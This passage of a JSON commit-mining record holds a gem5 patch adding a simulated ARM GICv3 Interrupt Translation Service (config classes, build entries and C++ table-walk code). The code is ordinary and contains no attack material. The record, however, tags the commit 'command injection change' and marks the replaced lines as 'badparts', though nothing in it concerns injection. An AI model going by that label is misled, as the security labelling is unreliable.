\"dev/arm/base_gic.hh\"\n cxx_class = \"ArmSPIGen\"\n\nclass ArmPPI(ArmInterruptPin):\n type = 'ArmPPI'\n cxx_header = \"dev/arm/base_gic.hh\"\n cxx_class = \"ArmPPIGen\"\n\nclass GicV2(BaseGic):\n type = 'GicV2'\n cxx_header = \"dev/arm/gic_v2.hh\"\n\n dist_addr = Param.Addr(\"Address for distributor\")\n cpu_addr = Param.Addr(\"Address for cpu\")\n cpu_size = Param.Addr(0x2000, \"Size of cpu register bank\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n cpu_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to cpu interface\")\n int_latency = Param.Latency('10ns', \"Delay for interrupt to get to CPU\")\n it_lines = Param.UInt32(128, \"Number of interrupt lines supported (max = 1020)\")\n gem5_extensions = Param.Bool(False, \"Enable gem5 extensions\")\n\nclass Gic400(GicV2):\n \"\"\"\n As defined in:\n \"ARM Generic Interrupt Controller Architecture\" version 2.0\n \"CoreLink GIC-400 Generic Interrupt Controller\" revision r0p1\n \"\"\"\n gicd_pidr = 0x002bb490\n gicd_iidr = 0x0200143B\n gicc_iidr = 0x0202143B\n\n # gicv_iidr same as gicc_idr\n gicv_iidr = gicc_iidr\n\nclass Gicv2mFrame(SimObject):\n type = 'Gicv2mFrame'\n cxx_header = \"dev/arm/gic_v2m.hh\"\n spi_base = Param.UInt32(0x0, \"Frame SPI base number\");\n spi_len = Param.UInt32(0x0, \"Frame SPI total number\");\n addr = Param.Addr(\"Address for frame PIO\")\n\nclass Gicv2m(PioDevice):\n type = 'Gicv2m'\n cxx_header = \"dev/arm/gic_v2m.hh\"\n\n pio_delay = Param.Latency('10ns', \"Delay for PIO r/w\")\n gic = Param.BaseGic(Parent.any, \"Gic on which to trigger interrupts\")\n frames = VectorParam.Gicv2mFrame([], \"Power of two number of frames\")\n\nclass VGic(PioDevice):\n type = 'VGic'\n cxx_header = \"dev/arm/vgic.hh\"\n gic = Param.BaseGic(Parent.any, \"Gic to use for interrupting\")\n platform = Param.Platform(Parent.any, \"Platform this device is part of.\")\n vcpu_addr = Param.Addr(0, \"Address for vcpu interfaces\")\n hv_addr = Param.Addr(0, \"Address for hv control\")\n pio_delay = Param.Latency('10ns', \"Delay for PIO r/w\")\n # The number of list registers is not currently configurable at runtime.\n maint_int = Param.UInt32(\"HV maintenance interrupt number\")\n\n # gicv_iidr same as gicc_idr\n gicv_iidr = Param.UInt32(Self.gic.gicc_iidr,\n \"VM CPU Interface Identification Register\")\n\n def generateDeviceTree(self, state):\n gic = self.gic.unproxy(self)\n\n node = FdtNode(\"interrupt-controller\")\n node.appendCompatible([\"gem5,gic\", \"arm,cortex-a15-gic\",\n \"arm,cortex-a9-gic\"])\n node.append(FdtPropertyWords(\"#interrupt-cells\", [3]))\n node.append(FdtPropertyWords(\"#address-cells\", [0]))\n node.append(FdtProperty(\"interrupt-controller\"))\n\n regs = (\n state.addrCells(gic.dist_addr) +\n state.sizeCells(0x1000) +\n state.addrCells(gic.cpu_addr) +\n state.sizeCells(0x1000) +\n state.addrCells(self.hv_addr) +\n state.sizeCells(0x2000) +\n state.addrCells(self.vcpu_addr) +\n state.sizeCells(0x2000) )\n\n node.append(FdtPropertyWords(\"reg\", regs))\n node.append(FdtPropertyWords(\"interrupts\",\n [1, int(self.maint_int)-16, 0xf04]))\n\n node.appendPhandle(gic)\n\n yield node\n\nclass Gicv3(BaseGic):\n type = 'Gicv3'\n cxx_header = \"dev/arm/gic_v3.hh\"\n\n dist_addr = Param.Addr(\"Address for distributor\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n redist_addr = Param.Addr(\"Address for redistributors\")\n redist_pio_delay = Param.Latency('10ns',\n \"Delay for PIO r/w to redistributors\")\n it_lines = Param.UInt32(1020,\n \"Number of interrupt lines supported (max = 1020)\")\n\n maint_int = Param.ArmInterruptPin(\n \"HV maintenance interrupt.\"\n \"ARM strongly recommends that maintenance interrupts \"\n \"are configured to use INTID 25 (PPI Interrupt).\")\n\n cpu_max = Param.Unsigned(256,\n \"Maximum number of PE. This is affecting the maximum number of \"\n \"redistributors\")\n\n gicv4 = Param.Bool(True, \"GICv4 extension available\")\n"}, "/src/dev/arm/RealView.py": {"changes": [{"diff": "\n \n class VExpress_GEM5_V2_Base(VExpress_GEM5_Base):\n gic = Gicv3(dist_addr=0x2c000000, redist_addr=0x2c010000,\n- maint_int=ArmPPI(num=25))\n+ maint_int=ArmPPI(num=25),\n+ its=Gicv3Its(pio_addr=0x2c120000))\n \n # Limiting to 128 since it will otherwise overlap with PCI space\n gic.cpu_max = 128\n \n def _on_chip_devices(self):\n return super(VExpress_GEM5_V2_Base,self)._on_chip_devices() + [\n- self.gic,\n+ self.gic, self.gic.its\n ]\n \n def setupBootLoader(self, mem_bus, cur_sys, loc)", "add": 3, "remove": 2, "filename": "/src/dev/arm/RealView.py", "badparts": [" maint_int=ArmPPI(num=25))", " self.gic,"], "goodparts": [" maint_int=ArmPPI(num=25),", " its=Gicv3Its(pio_addr=0x2c120000))", " self.gic, self.gic.its"]}]}}, "msg": "dev-arm: Provide a GICv3 ITS Implementation\n\nThis patch introduces the GICv3 ITS module, which is in charge of\ntranslating MSIs into physical (GICv3) and virtual (GICv4) LPIs. The\npatch is only GICv3 compliant, which means that there is no direct\nvirtual LPI injection (this also means V* commands are unimplemented)\nOther missing features are:\n\n* No 2level ITS tables (only flat table supported)\n\n* Command errors: when there is an error in the ITS, it is\nIMPLEMENTATION DEFINED on how the ITS behaves. There are three possible\nscenarios (see GICv3 TRM) and this implementation only supports one of\nthese (which is, aborting the command and jumping to the next one).\nFurter patches could make it possible to select different reactions\n\n* Invalidation commands (INV, INVALL) are only doing the memory table\nwalks, assuming the current Gicv3Redistributor is not caching any\nconfiguration table entry.\n\nChange-Id: If4ae9267ac1de7b20a04986a2af3ca3109743211\nSigned-off-by: Giacomo Travaglini \nReviewed-by: Andreas Sandberg \nReviewed-on: https://gem5-review.googlesource.com/c/public/gem5/+/18601\nMaintainer: Andreas Sandberg \nTested-by: kokoro "}}, "https://github.com/powerjg/gem5-tmp": {"5830ee78b6dcab87cf383a6cab1e534e1ae1baae": {"url": "https://api.github.com/repos/powerjg/gem5-tmp/commits/5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "html_url": "https://github.com/powerjg/gem5-tmp/commit/5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "sha": "5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "keyword": "command injection change", "diff": "diff --git a/src/dev/arm/Gic.py b/src/dev/arm/Gic.py\nindex 011e238cc..d31a582d5 100644\n--- a/src/dev/arm/Gic.py\n+++ b/src/dev/arm/Gic.py\n@@ -1,4 +1,4 @@\n-# Copyright (c) 2012-2013, 2017-2018 ARM Limited\n+# Copyright (c) 2012-2013, 2017-2019 ARM Limited\n # All rights reserved.\n #\n # The license below extends only to copyright in the software and shall\n@@ -40,7 +40,7 @@\n from m5.util.fdthelper import *\n from m5.SimObject import SimObject\n \n-from m5.objects.Device import PioDevice\n+from m5.objects.Device import PioDevice, BasicPioDevice\n from m5.objects.Platform import Platform\n \n class BaseGic(PioDevice):\n@@ -162,10 +162,24 @@ def generateDeviceTree(self, state):\n \n yield node\n \n+class Gicv3Its(BasicPioDevice):\n+ type = 'Gicv3Its'\n+ cxx_header = \"dev/arm/gic_v3_its.hh\"\n+\n+ dma = MasterPort(\"DMA port\")\n+ pio_size = Param.Unsigned(0x20000, \"Gicv3Its pio size\")\n+\n+ # CIL [36] = 0: ITS supports 16-bit CollectionID\n+ # Devbits [17:13] = 0b100011: ITS supports 23 DeviceID bits\n+ # ID_bits [12:8] = 0b11111: ITS supports 31 EventID bits\n+ gits_typer = Param.UInt64(0x30023F01, \"GITS_TYPER RO value\")\n+\n class Gicv3(BaseGic):\n type = 'Gicv3'\n cxx_header = \"dev/arm/gic_v3.hh\"\n \n+ its = Param.Gicv3Its(Gicv3Its(), \"GICv3 Interrupt Translation Service\")\n+\n dist_addr = Param.Addr(\"Address for distributor\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n redist_addr = Param.Addr(\"Address for redistributors\")\ndiff --git a/src/dev/arm/RealView.py b/src/dev/arm/RealView.py\nindex 186d6df41..b34ab006c 100644\n--- a/src/dev/arm/RealView.py\n+++ b/src/dev/arm/RealView.py\n@@ -1084,14 +1084,15 @@ def _on_chip_devices(self):\n \n class VExpress_GEM5_V2_Base(VExpress_GEM5_Base):\n gic = Gicv3(dist_addr=0x2c000000, redist_addr=0x2c010000,\n- maint_int=ArmPPI(num=25))\n+ maint_int=ArmPPI(num=25),\n+ its=Gicv3Its(pio_addr=0x2c120000))\n \n # Limiting to 128 since it will otherwise overlap with PCI space\n gic.cpu_max = 128\n \n def _on_chip_devices(self):\n return super(VExpress_GEM5_V2_Base,self)._on_chip_devices() + [\n- self.gic,\n+ self.gic, self.gic.its\n ]\n \n def setupBootLoader(self, mem_bus, cur_sys, loc):\ndiff --git a/src/dev/arm/SConscript b/src/dev/arm/SConscript\nindex c4aa52180..7d14abe67 100644\n--- a/src/dev/arm/SConscript\n+++ b/src/dev/arm/SConscript\n@@ -61,6 +61,7 @@ if env['TARGET_ISA'] == 'arm':\n Source('gic_v3_cpu_interface.cc')\n Source('gic_v3_distributor.cc')\n Source('gic_v3_redistributor.cc')\n+ Source('gic_v3_its.cc')\n Source('pl011.cc')\n Source('pl111.cc')\n Source('hdlcd.cc')\n@@ -85,6 +86,7 @@ if env['TARGET_ISA'] == 'arm':\n DebugFlag('GICV2M')\n DebugFlag('Pl050')\n DebugFlag('GIC')\n+ DebugFlag('ITS')\n DebugFlag('RVCTRL')\n DebugFlag('EnergyCtrl')\n DebugFlag('UFSHostDevice')\ndiff --git a/src/dev/arm/gic_v3.cc b/src/dev/arm/gic_v3.cc\nindex 9004f656f..6f4312b03 100644\n--- a/src/dev/arm/gic_v3.cc\n+++ b/src/dev/arm/gic_v3.cc\n@@ -35,6 +35,7 @@\n #include \"debug/Interrupt.hh\"\n #include \"dev/arm/gic_v3_cpu_interface.hh\"\n #include \"dev/arm/gic_v3_distributor.hh\"\n+#include \"dev/arm/gic_v3_its.hh\"\n #include \"dev/arm/gic_v3_redistributor.hh\"\n #include \"dev/platform.hh\"\n #include \"mem/packet.hh\"\n@@ -78,6 +79,8 @@ Gicv3::init()\n cpuInterfaces[i]->init();\n }\n \n+ params()->its->setGIC(this);\n+\n BaseGic::init();\n }\n \ndiff --git a/src/dev/arm/gic_v3.hh b/src/dev/arm/gic_v3.hh\nindex 5a13a7479..7dab5a2fb 100644\n--- a/src/dev/arm/gic_v3.hh\n+++ b/src/dev/arm/gic_v3.hh\n@@ -37,6 +37,7 @@\n class Gicv3CPUInterface;\n class Gicv3Distributor;\n class Gicv3Redistributor;\n+class Gicv3Its;\n \n class Gicv3 : public BaseGic\n {\n@@ -48,6 +49,7 @@ class Gicv3 : public BaseGic\n Gicv3Distributor * distributor;\n std::vector redistributors;\n std::vector cpuInterfaces;\n+ Gicv3Its * its;\n AddrRange distRange;\n AddrRange redistRange;\n AddrRangeList addrRanges;\ndiff --git a/src/dev/arm/gic_v3_its.cc b/src/dev/arm/gic_v3_its.cc\nnew file mode 100644\nindex 000000000..f3fa0a50e\n--- /dev/null\n+++ b/src/dev/arm/gic_v3_its.cc\n@@ -0,0 +1,1213 @@\n+/*\n+ * Copyright (c) 2019 ARM Limited\n+ * All rights reserved\n+ *\n+ * The license below extends only to copyright in the software and shall\n+ * not be construed as granting a license to any other intellectual\n+ * property including but not limited to intellectual property relating\n+ * to a hardware implementation of the functionality of the software\n+ * licensed hereunder. You may use the software subject to the license\n+ * terms below provided that you ensure that this notice is replicated\n+ * unmodified and in its entirety in all distributions of the software,\n+ * modified or unmodified, in source code or in binary form.\n+ *\n+ * Redistribution and use in source and binary forms, with or without\n+ * modification, are permitted provided that the following conditions are\n+ * met: redistributions of source code must retain the above copyright\n+ * notice, this list of conditions and the following disclaimer;\n+ * redistributions in binary form must reproduce the above copyright\n+ * notice, this list of conditions and the following disclaimer in the\n+ * documentation and/or other materials provided with the distribution;\n+ * neither the name of the copyright holders nor the names of its\n+ * contributors may be used to endorse or promote products derived from\n+ * this software without specific prior written permission.\n+ *\n+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n+ * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n+ *\n+ * Authors: Giacomo Travaglini\n+ */\n+\n+#include \"dev/arm/gic_v3_its.hh\"\n+\n+#include \"debug/AddrRanges.hh\"\n+#include \"debug/Drain.hh\"\n+#include \"debug/GIC.hh\"\n+#include \"debug/ITS.hh\"\n+#include \"dev/arm/gic_v3.hh\"\n+#include \"dev/arm/gic_v3_distributor.hh\"\n+#include \"dev/arm/gic_v3_redistributor.hh\"\n+#include \"mem/packet_access.hh\"\n+\n+#define COMMAND(x, method) { x, DispatchEntry(#x, method) }\n+\n+const AddrRange Gicv3Its::GITS_BASER(0x0100, 0x0138);\n+\n+ItsProcess::ItsProcess(Gicv3Its &_its)\n+ : its(_its), coroutine(nullptr)\n+{\n+}\n+\n+ItsProcess::~ItsProcess()\n+{\n+}\n+\n+void\n+ItsProcess::reinit()\n+{\n+ coroutine.reset(new Coroutine(\n+ std::bind(&ItsProcess::main, this, std::placeholders::_1)));\n+}\n+\n+const std::string\n+ItsProcess::name() const\n+{\n+ return its.name();\n+}\n+\n+ItsAction\n+ItsProcess::run(PacketPtr pkt)\n+{\n+ assert(coroutine != nullptr);\n+ assert(*coroutine);\n+ return (*coroutine)(pkt).get();\n+}\n+\n+void\n+ItsProcess::doRead(Yield &yield, Addr addr, void *ptr, size_t size)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::SEND_REQ;\n+\n+ RequestPtr req = std::make_shared(\n+ addr, size, 0, its.masterId);\n+\n+ req->taskId(ContextSwitchTaskId::DMA);\n+\n+ a.pkt = new Packet(req, MemCmd::ReadReq);\n+ a.pkt->dataStatic(ptr);\n+\n+ a.delay = 0;\n+\n+ PacketPtr pkt = yield(a).get();\n+\n+ assert(pkt);\n+ assert(pkt->getSize() >= size);\n+\n+ delete pkt;\n+}\n+\n+void\n+ItsProcess::doWrite(Yield &yield, Addr addr, void *ptr, size_t size)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::SEND_REQ;\n+\n+ RequestPtr req = std::make_shared(\n+ addr, size, 0, its.masterId);\n+\n+ req->taskId(ContextSwitchTaskId::DMA);\n+\n+ a.pkt = new Packet(req, MemCmd::WriteReq);\n+ a.pkt->dataStatic(ptr);\n+\n+ a.delay = 0;\n+\n+ PacketPtr pkt = yield(a).get();\n+\n+ assert(pkt);\n+ assert(pkt->getSize() >= size);\n+\n+ delete pkt;\n+}\n+\n+void\n+ItsProcess::terminate(Yield &yield)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::TERMINATE;\n+ a.pkt = NULL;\n+ a.delay = 0;\n+ yield(a);\n+}\n+\n+void\n+ItsProcess::writeDeviceTable(Yield &yield, uint32_t device_id, DTE dte)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::DEVICE_TABLE);\n+ const Addr address = base + device_id;\n+\n+ DPRINTF(ITS, \"Writing DTE at address %#x: %#x\\n\", address, dte);\n+\n+ doWrite(yield, address, &dte, sizeof(dte));\n+}\n+\n+void\n+ItsProcess::writeIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id, ITTE itte)\n+{\n+ const Addr address = itt_base + event_id;\n+\n+ doWrite(yield, address, &itte, sizeof(itte));\n+\n+ DPRINTF(ITS, \"Writing ITTE at address %#x: %#x\\n\", address, itte);\n+}\n+\n+void\n+ItsProcess::writeIrqCollectionTable(\n+ Yield &yield, uint32_t collection_id, CTE cte)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::COLLECTION_TABLE);\n+ const Addr address = base + collection_id;\n+\n+ doWrite(yield, address, &cte, sizeof(cte));\n+\n+ DPRINTF(ITS, \"Writing CTE at address %#x: %#x\\n\", address, cte);\n+}\n+\n+uint64_t\n+ItsProcess::readDeviceTable(Yield &yield, uint32_t device_id)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::DEVICE_TABLE);\n+ const Addr address = base + device_id;\n+\n+ uint64_t dte;\n+ doRead(yield, address, &dte, sizeof(dte));\n+\n+ DPRINTF(ITS, \"Reading DTE at address %#x: %#x\\n\", address, dte);\n+ return dte;\n+}\n+\n+uint64_t\n+ItsProcess::readIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id)\n+{\n+ const Addr address = itt_base + event_id;\n+\n+ uint64_t itte;\n+ doRead(yield, address, &itte, sizeof(itte));\n+\n+ DPRINTF(ITS, \"Reading ITTE at address %#x: %#x\\n\", address, itte);\n+ return itte;\n+}\n+\n+uint64_t\n+ItsProcess::readIrqCollectionTable(Yield &yield, uint32_t collection_id)\n+{\n+ const Addr base = its.pageAddress(Gicv3Its::COLLECTION_TABLE);\n+ const Addr address = base + collection_id;\n+\n+ uint64_t cte;\n+ doRead(yield, address, &cte, sizeof(cte));\n+\n+ DPRINTF(ITS, \"Reading CTE at address %#x: %#x\\n\", address, cte);\n+ return cte;\n+}\n+\n+ItsTranslation::ItsTranslation(Gicv3Its &_its)\n+ : ItsProcess(_its)\n+{\n+ reinit();\n+ its.pendingTranslations++;\n+}\n+\n+ItsTranslation::~ItsTranslation()\n+{\n+ assert(its.pendingTranslations >= 1);\n+ its.pendingTranslations--;\n+}\n+\n+void\n+ItsTranslation::main(Yield &yield)\n+{\n+ PacketPtr pkt = yield.get();\n+\n+ const uint32_t device_id = pkt->req->streamId();\n+ const uint32_t event_id = pkt->getLE();\n+\n+ auto result = translateLPI(yield, device_id, event_id);\n+\n+ uint32_t intid = result.first;\n+ Gicv3Redistributor *redist = result.second;\n+\n+ // Set the LPI in the redistributor\n+ redist->setClrLPI(intid, true);\n+\n+ // Update the value in GITS_TRANSLATER only once we know\n+ // there was no error in the tranlation process (before\n+ // terminating the translation\n+ its.gitsTranslater = event_id;\n+\n+ terminate(yield);\n+}\n+\n+std::pair\n+ItsTranslation::translateLPI(Yield &yield, uint32_t device_id,\n+ uint32_t event_id)\n+{\n+ if (its.deviceOutOfRange(device_id)) {\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, device_id);\n+\n+ if (!dte.valid || its.idOutOfRange(event_id, dte.ittRange)) {\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(yield, dte.ittAddress, event_id);\n+ const auto collection_id = itte.icid;\n+\n+ if (!itte.valid || its.collectionOutOfRange(collection_id)) {\n+ terminate(yield);\n+ }\n+\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ terminate(yield);\n+ }\n+\n+ // Returning the INTID and the target Redistributor\n+ return std::make_pair(itte.intNum, its.getRedistributor(cte));\n+}\n+\n+ItsCommand::DispatchTable ItsCommand::cmdDispatcher =\n+{\n+ COMMAND(CLEAR, &ItsCommand::clear),\n+ COMMAND(DISCARD, &ItsCommand::discard),\n+ COMMAND(INT, &ItsCommand::doInt),\n+ COMMAND(INV, &ItsCommand::inv),\n+ COMMAND(INVALL, &ItsCommand::invall),\n+ COMMAND(MAPC, &ItsCommand::mapc),\n+ COMMAND(MAPD, &ItsCommand::mapd),\n+ COMMAND(MAPI, &ItsCommand::mapi),\n+ COMMAND(MAPTI, &ItsCommand::mapti),\n+ COMMAND(MOVALL, &ItsCommand::movall),\n+ COMMAND(MOVI, &ItsCommand::movi),\n+ COMMAND(SYNC, &ItsCommand::sync),\n+ COMMAND(VINVALL, &ItsCommand::vinvall),\n+ COMMAND(VMAPI, &ItsCommand::vmapi),\n+ COMMAND(VMAPP, &ItsCommand::vmapp),\n+ COMMAND(VMAPTI, &ItsCommand::vmapti),\n+ COMMAND(VMOVI, &ItsCommand::vmovi),\n+ COMMAND(VMOVP, &ItsCommand::vmovp),\n+ COMMAND(VSYNC, &ItsCommand::vsync),\n+};\n+\n+ItsCommand::ItsCommand(Gicv3Its &_its)\n+ : ItsProcess(_its)\n+{\n+ reinit();\n+ its.pendingCommands = true;\n+}\n+\n+ItsCommand::~ItsCommand()\n+{\n+ its.pendingCommands = false;\n+}\n+\n+std::string\n+ItsCommand::commandName(uint32_t cmd)\n+{\n+ const auto entry = cmdDispatcher.find(cmd);\n+ return entry != cmdDispatcher.end() ? entry->second.name : \"INVALID\";\n+}\n+\n+void\n+ItsCommand::main(Yield &yield)\n+{\n+ ItsAction a;\n+ a.type = ItsActionType::INITIAL_NOP;\n+ a.pkt = nullptr;\n+ a.delay = 0;\n+ yield(a);\n+\n+ while (its.gitsCwriter.offset != its.gitsCreadr.offset) {\n+ CommandEntry command;\n+\n+ // Reading the command from CMDQ\n+ readCommand(yield, command);\n+\n+ processCommand(yield, command);\n+\n+ its.incrementReadPointer();\n+ }\n+\n+ terminate(yield);\n+}\n+\n+void\n+ItsCommand::readCommand(Yield &yield, CommandEntry &command)\n+{\n+ // read the command pointed by GITS_CREADR\n+ const Addr cmd_addr =\n+ (its.gitsCbaser.physAddr << 12) + (its.gitsCreadr.offset << 5);\n+\n+ doRead(yield, cmd_addr, &command, sizeof(command));\n+\n+ DPRINTF(ITS, \"Command %s read from queue at address: %#x\\n\",\n+ commandName(command.type), cmd_addr);\n+ DPRINTF(ITS, \"dw0: %#x dw1: %#x dw2: %#x dw3: %#x\\n\",\n+ command.raw[0], command.raw[1], command.raw[2], command.raw[3]);\n+}\n+\n+void\n+ItsCommand::processCommand(Yield &yield, CommandEntry &command)\n+{\n+ const auto entry = cmdDispatcher.find(command.type);\n+\n+ if (entry != cmdDispatcher.end()) {\n+ // Execute the command\n+ entry->second.exec(this, yield, command);\n+ } else {\n+ panic(\"Unrecognized command type: %u\", command.type);\n+ }\n+}\n+\n+void\n+ItsCommand::clear(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ // Clear the LPI in the redistributor\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, false);\n+}\n+\n+void\n+ItsCommand::discard(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ Gicv3Its::CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, false);\n+\n+ // Then removes the mapping from the ITT (invalidating)\n+ itte.valid = 0;\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::doInt(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ // Set the LPI in the redistributor\n+ its.getRedistributor(cte)->setClrLPI(itte.intNum, true);\n+}\n+\n+void\n+ItsCommand::inv(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id = itte.icid;\n+ CTE cte = readIrqCollectionTable(yield, collection_id);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+ // Do nothing since caching is currently not supported in\n+ // Redistributor\n+}\n+\n+void\n+ItsCommand::invall(Yield &yield, CommandEntry &command)\n+{\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto icid = bits(command.raw[2], 15, 0);\n+\n+ CTE cte = readIrqCollectionTable(yield, icid);\n+\n+ if (!cte.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+ // Do nothing since caching is currently not supported in\n+ // Redistributor\n+}\n+\n+void\n+ItsCommand::mapc(Yield &yield, CommandEntry &command)\n+{\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ CTE cte = 0;\n+ cte.valid = bits(command.raw[2], 63);\n+ cte.rdBase = bits(command.raw[2], 50, 16);\n+\n+ const auto icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqCollectionTable(yield, icid, cte);\n+}\n+\n+void\n+ItsCommand::mapd(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command) || sizeOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = 0;\n+ dte.valid = bits(command.raw[2], 63);\n+ dte.ittAddress = mbits(command.raw[2], 51, 8);\n+ dte.ittRange = bits(command.raw[1], 4, 0);\n+\n+ writeDeviceTable(yield, command.deviceId, dte);\n+}\n+\n+void\n+ItsCommand::mapi(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte) ||\n+ its.lpiOutOfRange(command.eventId)) {\n+\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ Gicv3Its::ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ itte.valid = 1;\n+ itte.intType = Gicv3Its::PHYSICAL_INTERRUPT;\n+ itte.intNum = command.eventId;\n+ itte.icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::mapti(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ const auto pintid = bits(command.raw[1], 63, 32);\n+\n+ if (!dte.valid || idOutOfRange(command, dte) ||\n+ its.lpiOutOfRange(pintid)) {\n+\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ itte.valid = 1;\n+ itte.intType = Gicv3Its::PHYSICAL_INTERRUPT;\n+ itte.intNum = pintid;\n+ itte.icid = bits(command.raw[2], 15, 0);\n+\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, 